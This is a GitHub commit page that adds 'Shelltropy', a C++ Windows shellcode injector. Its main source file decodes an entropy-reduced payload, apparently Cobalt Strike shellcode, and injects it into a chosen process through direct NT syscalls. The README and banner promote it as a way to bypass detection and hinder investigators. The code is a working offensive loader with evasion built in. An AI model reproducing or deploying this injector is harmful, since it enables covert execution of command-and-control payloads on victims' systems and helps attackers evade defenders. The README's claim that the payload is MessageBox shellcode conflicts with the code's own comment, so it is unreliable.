Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
kleiton0x00 authored Jun 10, 2022
1 parent ed57fe0 commit bf4226c
Show file tree
Hide file tree
Showing 29 changed files with 13,296 additions and 0 deletions.
29 changes: 29 additions & 0 deletions Shelltropy/LICENSE
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
BSD 3-Clause License

Copyright (c) 2021, m0rv4i
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.

3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
7 changes: 7 additions & 0 deletions Shelltropy/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
# SyscallsExample

Simple project using syscalls (via [SysWhispers2](https://github.com/jthuraisamy/SysWhispers2)) to execute MessageBox shellcode in a target process.

This doesn't use Windows API calls to allocate memory, create the thread etc so bypasses some detections and can make it harder for investigators and reverse engineers to determine what is going on.

Accompanying blog post: https://jmpesp.me/malware-analysis-syscalls-example/
31 changes: 31 additions & 0 deletions Shelltropy/SyscallsExample/SyscallsExample.sln
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.0.32112.339
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "SyscallsExample", "SyscallsExample\SyscallsExample.vcxproj", "{E1E94C42-1D67-4650-B348-ED2C1C9FCDD5}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{E1E94C42-1D67-4650-B348-ED2C1C9FCDD5}.Debug|x64.ActiveCfg = Debug|x64
{E1E94C42-1D67-4650-B348-ED2C1C9FCDD5}.Debug|x64.Build.0 = Debug|x64
{E1E94C42-1D67-4650-B348-ED2C1C9FCDD5}.Debug|x86.ActiveCfg = Debug|Win32
{E1E94C42-1D67-4650-B348-ED2C1C9FCDD5}.Debug|x86.Build.0 = Debug|Win32
{E1E94C42-1D67-4650-B348-ED2C1C9FCDD5}.Release|x64.ActiveCfg = Release|x64
{E1E94C42-1D67-4650-B348-ED2C1C9FCDD5}.Release|x64.Build.0 = Release|x64
{E1E94C42-1D67-4650-B348-ED2C1C9FCDD5}.Release|x86.ActiveCfg = Release|Win32
{E1E94C42-1D67-4650-B348-ED2C1C9FCDD5}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {9B0602D1-0539-498A-8990-C974AC0D6EE3}
EndGlobalSection
EndGlobal
133 changes: 133 additions & 0 deletions Shelltropy/SyscallsExample/SyscallsExample/SyscallsExample.cpp
Original file line number Diff line number Diff line change
@@ -0,0 +1,133 @@
#include <iostream>
#include "syscalls.h"

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

//fancy banner with fancy quote
char banner[] = "\n\n @@@@@@ @@@ @@@ @@@@@@@@ @@@ @@@ @@@@@@@ @@@@@@@ @@@@@@ @@@@@@@ @@@ @@@\n !@@ @@! @@@ @@! @@! @@! @@! @@! @@@ @@! @@@ @@! @@@ @@! !@@\n !@@!! @!@!@!@! @!!!:! @!! @!! @!! @!@!!@! @!@ !@! @!@@!@! !@!@! \n !:! !!: !!! !!: !!: !!: !!: !!: :!! !!: !!! !!: !!: \n ::.: : : : : : :: ::: : ::.: : : ::.: : : : : : : :. : : .: \n\n=============[The more predictable you are, the less you are able to get detected.]====";

BYTE payload[] = { 0xFC,0x48,0x83,0xE4,0xF0,0xE8,0xC8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x72,0x50,0x48,0x0F,0xB7,0x4A,0x4A,0x4D,0x31,0xC9,0x48,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xED,0x52,0x41,0x51,0x48,0x8B,0x52,0x20,0x8B,0x42,0x3C,0x48,0x01,0xD0,0x66,0x81,0x78,0x18,0x0B,0x02,0x75,0x72,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xC0,0x74,0x67,0x48,0x01,0xD0,0x50,0x8B,0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0xE3,0x56,0x48,0xFF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0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x2A,0x90 };
constexpr int cs_shellcode_length = 891; //the default length of high entropy default shellcode in cobalt strike. Change it if you are using another C2
constexpr int number_of_chunks = 5; //make sure it's the same number of chunks you used while encoding
constexpr int chunk_size = cs_shellcode_length / number_of_chunks;
constexpr int remaining_bytes = cs_shellcode_length % number_of_chunks;
constexpr int payload_size_after_entropy_reduction = cs_shellcode_length * 2;

PBYTE shannonDecode(PBYTE high_ent_payload)

{
constexpr int payload_size = (payload_size_after_entropy_reduction + 1) / 2;
BYTE lowEntropyPayload[payload_size_after_entropy_reduction] = { 0 };
memcpy_s(lowEntropyPayload, sizeof lowEntropyPayload, high_ent_payload, payload_size_after_entropy_reduction);
static BYTE restored_payload[payload_size] = { 0 };
int encodedShellcodeOffset = 0;
int shellcodeOffset = 0;

for (size_t i = 0; i < number_of_chunks; i++)
{
for (size_t j = 0; j < chunk_size; j++)
{
restored_payload[shellcodeOffset] = lowEntropyPayload[encodedShellcodeOffset];
encodedShellcodeOffset++;
shellcodeOffset++;
}

for (size_t k = 0; k < chunk_size; k++)
{
encodedShellcodeOffset++;
}
}

if (remaining_bytes)
{
for (size_t i = 0; i < sizeof remaining_bytes; i++)
{
restored_payload[shellcodeOffset++] = high_ent_payload[encodedShellcodeOffset++];
}
}
return restored_payload;
}


int main(int argc, char* argv[])
{
for (int index = 0; index < sizeof(banner); index++) {
printf("%c", banner[index]);
}
printf("\n\n\n");

const auto shellcode = shannonDecode(payload);
if (shellcode) {
printf("[*] Shellcode converted back to high-entropy\n");
}
else {
printf("[-] Unable to decode the shellcode\n");
return EXIT_FAILURE;
}

if (argc != 2) {
printf("[!] Usage: %s <pid to inject into>\n", argv[0]);
return EXIT_FAILURE;
}

auto pid = atoi(argv[1]);

if (!pid) {
printf("[-] Invalid PID: %s\n", argv[1]);
return EXIT_FAILURE;
}

HANDLE hProcess;
CLIENT_ID clientId{};
clientId.UniqueProcess = (HANDLE)pid;
OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
auto status = NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);

if (!NT_SUCCESS(status)) {
printf("[-] Failed to open process: %d, NTSTATUS: 0x%x\n", pid, status);
return EXIT_FAILURE;
}
printf("[*] Successfully opened process %d\n", pid);

size_t shellcodeSize = cs_shellcode_length; //I didn't want to change the variable names

printf("[*] Shellcode length: %lld\n", shellcodeSize);
PVOID baseAddress = NULL;
size_t allocSize = shellcodeSize;
status = NtAllocateVirtualMemory(hProcess, &baseAddress, 0, &allocSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

if (!NT_SUCCESS(status)) {
printf("[-] Failed to allocate memory, NTSTATUS: 0x%x\n", status);
return EXIT_FAILURE;
}
printf("[*] Successfully allocated RW memory at 0x%p of size %lld\n", baseAddress, allocSize);

size_t bytesWritten;

int n = 0;
for (int i = 0; i < cs_shellcode_length; i++) {
NtWriteVirtualMemory(hProcess, (LPVOID)((ULONG_PTR)baseAddress + n), &shellcode[i], 0x01, NULL);
n++;
}

printf("[*] Successfully wrote shellcode to memory\n");

DWORD oldProtect;
status = NtProtectVirtualMemory(hProcess, &baseAddress, &shellcodeSize, PAGE_EXECUTE_READ, &oldProtect);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to change permission to RX on memory at 0x%p, NTSTATUS: 0x%x\n", baseAddress, status);
return EXIT_FAILURE;
}
printf("[*] Successfully changed memory protections to RX\n");

HANDLE hThread;
status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
if (!NT_SUCCESS(status)) {
printf("[-] Failed to create thread, NTSTATUS: 0x%x\n", status);
return EXIT_FAILURE;
}
printf("[*] Successfully created thread in process\n");

printf("[+] Shellcode injected using syscalls!\n");
return EXIT_SUCCESS;
}
Empty file.
Loading

0 comments on commit bf4226c

Please sign in to comment.